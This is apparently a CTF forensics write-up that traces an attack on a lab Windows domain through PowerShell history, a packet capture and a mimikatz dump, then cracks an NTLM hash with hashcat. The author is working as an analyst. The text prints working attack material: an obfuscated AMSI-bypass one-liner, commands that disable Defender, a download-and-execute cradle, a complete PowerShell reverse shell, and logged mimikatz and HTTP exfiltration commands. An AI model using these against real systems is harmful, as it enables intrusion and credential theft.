This was a pretty big challenge, with 3 parts in one. In the end, I was one of only 25 people to solve it fully. This challenge took some forensics skills to find out what happened, and I found it really fun to keep searching for different things.

As I said there are 3 challenges in total. We get a few files that we can do some forensics on:

  • unlockthecity.json: A JSON formatted list of event logs (didn't end up using this)
  • unlockthecity.pcapng: A 138MB packet capture that can be opened in Wireshark
  • unlockthecity.zip: A ZIP file containing a single C/ folder, with common Windows directories inside like Windows/, Users/, ProgramData/, etc.
  • rockyou.txt: A list of almost 6 million possible passwords, a shortened version of the classic rockyou.txt password list.

1. Locate the Payload

The first part of the challenge asks us to "locate the payload". The ZIP file with Windows directories looked the most interesting to me, maybe we can find some payload in a file.

To get an idea of what files are in the directory I used the simple find command. It spits out all files and directories in the current directory, recursively. This means we get a nice output of every file:

Shell

$ find
...
./C/Users/administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
./C/Users/unlockthecity/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
./C/Users/vagrant.WINDOMAIN/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
./C/Users/vagrant/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt
...
./C/Temp/dump.txt
...

Here I took the most interesting-looking files out, but in total the output was about 1000 lines. I just quickly scrolled through it to find some files that stuck out. The first is ConsoleHost_history.txt in a PowerShell directory. We're talking about a payload here so a scripting language like PowerShell would make sense. This .txt file is actually the PowerShell history, which is stored by default. This makes it very simple for us to look at exactly what commands were executed. Let's look at the administrator user's history first:

PowerShell

...
powershell -ep bypass
S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
Get-Service WinDefend | Stop-Service -PassThru | Set-Service -StartupType Disabled
Set-MpPreference -DisableRealtimeMonitoring $true
Get-MpPreference
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpPreference
whoami
whoami /priv
...

And there it jumps out, a big command that looks to be pretty obfuscated. Then after that some more suspicious commands like disabling the WinDefend service, and things like whoami /priv to see permissions. Let's try to deobfuscate this first PowerShell command. It doesn't look too bad and we can already read some parts of the strings.

Firstly, the backticks (`) are just to escape characters, and here they are placed in front of normal characters to make it look more complicated. So we can just search and replace away any backticks.
Another thing that seems interesting is the "{6}{3}{1}{4}{2}{0}{5}"-like strings. I'm not sure myself what this does, but we can just use PowerShell to tell us. If we take a value from the payload in brackets, we can just put it in a PowerShell terminal of our own to see what it will become (install PowerShell in Linux using sudo apt install dotnet-sdk-5.0 && dotnet tool install --global PowerShell):

PowerShell

PS> "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')

System.Management.Automation.AmsiUtils

Awesome, it just says System.Management.Automation.AmsiUtils. We could do this for all strings, but we can also look a bit into what this means already. Searching this string in Google, we quickly see results of Antimalware Scan Interface (AMSI). This code is probably looking at or messing with the antimalware scanning in Windows.

This code however is not very useful to us, because it is not the actual attack yet. Only the commands that happen after. So let's look at another user's history, the unlockthecity user for example:

PowerShell

whoami /priv
Add-LocalGroupMember -Group Administrators -Member "WINDOMAIN\unlockthecity"
...
Start-Process powershell.exe -verb runas
ls \\WEF\Secrets
& "C:\Users\unlockthecity\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\TempState\Downloads\Wireshark-win64-3.6.6 (1).exe"
& "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireshark.lnk"
echo IEX(New-Object Net.WebClient).DownloadString('https://evilai.challenge.hackazon.org/update.ps1') | powershell -noprofile -
whoami /priv
& "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireshark.lnk"
clear
echo IEX(New-Object Net.WebClient).DownloadString('https://evilai.challenge.hackazon.org/update.ps1') | powershell -noprofile -
ping 192.168.117.157
cp \\192.168.117.157\secure\
m.txt .
ls \\192.168.117.157\secure\
wf.msc
ls \\192.168.117.157\secure\
echo IEX(New-Object Net.WebClient).DownloadString('https://evilai.challenge.hackazon.org/update.ps1') | powershell -noprofile -
dir \\192.168.117.157\unlockthecity
dir \\192.168.117.157\unlockthecity
...

Now that looks like what we're after. It downloads a string from a URL, then uses a pipe (|) to execute that string with powershell. Let's take a look at this https://evilai.challenge.hackazon.org/update.ps1 URL:

404 Not Found

Hmmm, maybe they deleted the payload after doing the attack? Or maybe they were really clever attackers and knew that we researchers would use a browser to try and access the update.ps1 script. And they made the webserver check the User-Agent to see if the request is coming from a browser or PowerShell. So to act like PowerShell we can simply just use PowerShell ourselves. If we remove the piping to powershell part we only get the content, and we don't execute it.

Powershell

PS> echo IEX(New-Object Net.WebClient).DownloadString('https://evilai.challenge.hackazon.org/update.ps1')

$TCPClient = New-Object Net.Sockets.TCPClient('192.168.117.157', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()

# CTF{You_Found_The_EVIL_AI_Payload}

That's the first flag in the comment and another PowerShell script that we'll take a look at right below.

Note
After trying the same and including a .Proxy to something like Burp Suite, we can see the raw request being sent to the server. Apparently, PowerShell's WebClient.DownloadString function does not provide a User-Agent at all! It just sends a simple GET /update.ps1 HTTP/1.1 request. That's how it detects a request coming from this PowerShell function

2. Stolen Files

The next challenge talks about some "stolen files". We just got an interesting script at the end of the first challenge, so let's take a look at what it does. It looks the be a reverse shell of some kind, especially with the 'SHELL> ' just being in there. It makes a TCP connection to 192.168.117.157 on port 4444, another giveaway that this is malicious because port 4444 is notorious for being used for reverse shells. But remember, we still have the .pcapng file we haven't looked at yet. This is a big packet capture and there's a big chance that the communication of this reverse shell has been captured in there.

When we open the unlockthecity.pcapng file in Wireshark we can see a lot of packets, way too much to look through manually. That's why we use filters, and we can make a pretty good one because we know the traffic we're looking for is on the IP address 192.168.117.157 and port 4444. We can make a filter for this in Wireshark with something like this:

Wireshark

ip.addr==192.168.117.157 && tcp.port==4444

It takes a bit to load but then we only have 165 left. They all look to be TCP like we expect, and we can use Analyse -> Follow -> TCP Stream to let Wireshark put all these packets together into one long stream.

PowerShell

SHELL> cd C:\Temp
SHELL> curl -uri http://192.168.117.157:8888/mimikatz.exe -outfile mimikatz.exe
SHELL> & .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > dump.txt
...
SHELL> $body = "file=$(get-content dump.txt -raw)"
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body $body
POST request for /
SHELL> cd \\WEF\Secrets
SHELL> dir

    Directory: \\WEF\Secrets

Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        7/15/2022  11:06 AM            180 A.rtf                                                                 
-a----        7/15/2022  11:06 AM            180 B.rtf                                                                 
-a----        7/15/2022  11:06 AM            180 C.rtf                                                                 
...                                                              
-a----        7/15/2022  11:06 AM            180 X.rtf                                                                 
-a----        7/15/2022  11:06 AM            180 Y.rtf                                                                 
-a----        7/15/2022  11:06 AM            180 Z.rtf                                                                 
-a----        7/15/2022  11:06 AM            180 _.rtf                                                                 
-a----        7/15/2022  11:06 AM            180 {.rtf                                                                 
-a----        7/15/2022  11:06 AM            180 }.rtf                                                                 

SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content C.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content {.rtf -raw)"
Invoke-Expression : At line:1 char:91
+ ... 192.168.117.157:8888 -method POST -body "file=$(get-content {.rtf -ra ...
+                                                                 ~
Missing closing '}' in statement block or type definition.
At line:1 char:515
+ ... BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-S ...
+                                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : MissingEndCurlyBrace,Microsoft.PowerShell.Commands.InvokeExpressionCommand
 
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content `{.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content X.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content I.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content R.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content A.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content A.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content T.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content H.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content _.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content F.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content I.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content L.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content E.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content S.rtf -raw)"
POST request for /
SHELL> Invoke-RestMethod -uri http://192.168.117.157:8888 -method POST -body "file=$(get-content `}.rtf -raw)"
POST request for /
SHELL> 

First, we see mimikatz.exe being downloaded and executed. Afterward, we see a lot of requests to POST .rtf documents. If you look closely you can notice that the names of these .rtf documents form a flag! It starts with C T F { and ends with }. Putting this all together we get:
CTF{EXFILTRATE_ALL_THE_FILES}

3. Password Cracking

The last challenge talks about cracking a password, with some specific and important instructions:

Can you please find out whether the attack was caused by a weak password? We need to know whether the users are adhering to our password policy. Our password policy for the domain is CTF{[ROCKYOU_1]_[ROCKYOU_2]!} where [ROCKYOU_1] and [ROCKYOU_2] are distinct words from the rockyou.txt list.

So it looks like we need to crack a password in the format of CTF{[ROCKYOU_1]_[ROCKYOU_2]!} using the rockyou.txt password list we got in the beginning. But what password do we crack? Thinking back at the last flag again we saw mimikatz.exe being executed. This is a program used often by hackers to extract hashes from Windows systems. Here the attacker probably used it to find the password hash for the user of the computer. To find it we can see a cd to C:\Temp, and then a redirect (>) to dump.txt. This means the file should be in C:\Temp\dump.txt, and when we visit C/Temp/dump.txt in the extracted ZIP from earlier we can indeed find this file.

 

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 303091 (00000000:00049ff3)
Session           : Interactive from 1
User Name         : unlockthecity
Domain            : WINDOMAIN
Logon Server      : DC
Logon Time        : 7/15/2022 12:36:04 PM
SID               : S-1-5-21-2619478417-2971000410-135028378-1107
        msv :
         [00000003] Primary
         * Username : unlockthecity
         * Domain   : WINDOMAIN
         * NTLM     : c5c70d1571e4fcc0d818cceab3025fcf
         * SHA1     : c8db2137682086005c05483bd0635ece23811243
         * DPAPI    : 87bb7ccc8291ba57bf86452544b861ad
        tspkg :
        wdigest :
         * Username : unlockthecity
         * Domain   : WINDOMAIN
         * Password : (null)
        kerberos :
         * Username : unlockthecity
         * Domain   : WINDOMAIN.LOCAL
         * Password : (null)
        ssp :
        credman :
        cloudap :
...
Authentication Id : 0 ; 56287 (00000000:0000dbdf)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/15/2022 12:35:27 PM
SID               : S-1-5-90-0-1
        msv :
         [00000003] Primary
         * Username : WIN10$
         * Domain   : WINDOMAIN
         * NTLM     : 08479832c8a49b1c7926a41005a2ae37
         * SHA1     : 13b5af68e56a7b5e12dac129c829c14ac22e4022
        tspkg :
        wdigest :
         * Username : WIN10$
         * Domain   : WINDOMAIN
         * Password : (null)
        kerberos :
         * Username : WIN10$
         * Domain   : windomain.local
         * Password : cm(kha)wk2Pc#b/+P2p$:ZU6_ury8i*8r;x]d=XHy(j[pWI[)Xz4=?!`xw<X@G'C.03]I(G:XU7NpIjIQWh9W&!u*Vd?tljcAH38!hW;zyi-^zX)0p;N6#B*
        ssp :
        credman :
        cloudap :
...

The file contains a quite a few of these sections with information, but what we're after are NTLM hashes. This is how Windows hashes passwords from users, and luckily for us, they're incredibly quick to brute-force. In the output we can find an NTLM hash for the unlockthecity user: c5c70d1571e4fcc0d818cceab3025fcf. We can also see another user called WIN10$, and under the Kerberos section, we actually see the massive Password! We can verify that this matches their NTLM hash by trying it in an online tool. There we can see that it indeed matches the NTLM hash, so won't have to try cracking it.

Now we are left with the c5c70d1571e4fcc0d818cceab3025fcf hash, I just put it in a hash.txt file. From the challenge description we got that we probably need to crack this hash with the CTF{[ROCKYOU_1]_[ROCKYOU_2]!} format. This seems a bit tricky though, how do we quickly get passwords of this format?

Luckily hashcat comes and saves the day. It has a really powerful rule generator to make passwords based on certain rules. First, we need to make it combine the two wordlists. For every password in ROCKYOU_1 we need to have tried every other password in ROCKYOU_2 with it. We can use the combinator attack mode from hashcat for this. I highly recommend you look at this link on the hashcat website and read a bit about how it works. It even tells us how to use rules on these dictionaries to put characters in front or behind the words.

These rules are explained in detail in the rule-based attack section. There we can read that the ^X prepends the X character to the front. In the example, we see that a rule like ^2^1 would transform p@ssW0rd into 12p@ssW0rd (note it's reversed). In our case, we just need to prepend CTF{ to the first word like the format, a rule for this would be ^{^F^T^C. Then we need to separate the words with an underscore (_). We can do that by just appending the _ character using a $_ rule on the first word. Then lastly the second word needs to end with !} to follow the format. We can again use something like $!$} on the second word to append these characters.

The combinator attack documentation tells us that the -j argument allows us to add rules to the left wordlist, and the -k adds rules to the right wordlist. Combining all this to create the CTF{[ROCKYOU_1]_[ROCKYOU_2]!} format would be -j "^{^F^T^C$_" -k "$!$}". Finally, we just need to specify the attack mode as -a 1 to use the combinator attack, hash mode 1000 for NTLM with -m 1000, and the rockyou.txt password lists from the challenge. The final hashcat command would look something like this:

Shell

$ hashcat -m 1000 -a 1 hash.txt rockyou.txt rockyou.txt -j '^{^F^T^C' -k '^_$!$}'

CUDA API (CUDA 11.6)
====================
* Device #1: NVIDIA GeForce RTX 2060, 5141/6143 MB, 30MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts

c5c70d1571e4fcc0d818cceab3025fcf:CTF{city123_unlocked!}

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: c5c70d1571e4fcc0d818cceab3025fcf
Time.Started.....: Jul 00 00:00:00 2022 (4 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt), Left Side
Guess.Mod........: File (rockyou.txt), Right Side
Speed.#1.........:  6324.0 MH/s (9.34ms) @ Accel:64 Loops:256 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 22460497920/35709014392804 (0.06%)
Rejected.........: 0/22460497920 (0.00%)
Restore.Point....: 0/5975702 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:91136-91392 Iteration:0-256
Candidate.Engine.: Device Generator
Candidates.#1....: CTF{123456_viejito!} -> CTF{dolphins6_squeak1!}
Hardware.Mon.#1..: Temp: 62c Util: 94% Core:1614MHz Mem:6794MHz Bus:16

It starts up, cracks for about 4 seconds, and finds the password! Since it's already in the flag format we can just submit this password as the flag.
CTF{city123_unlocked!}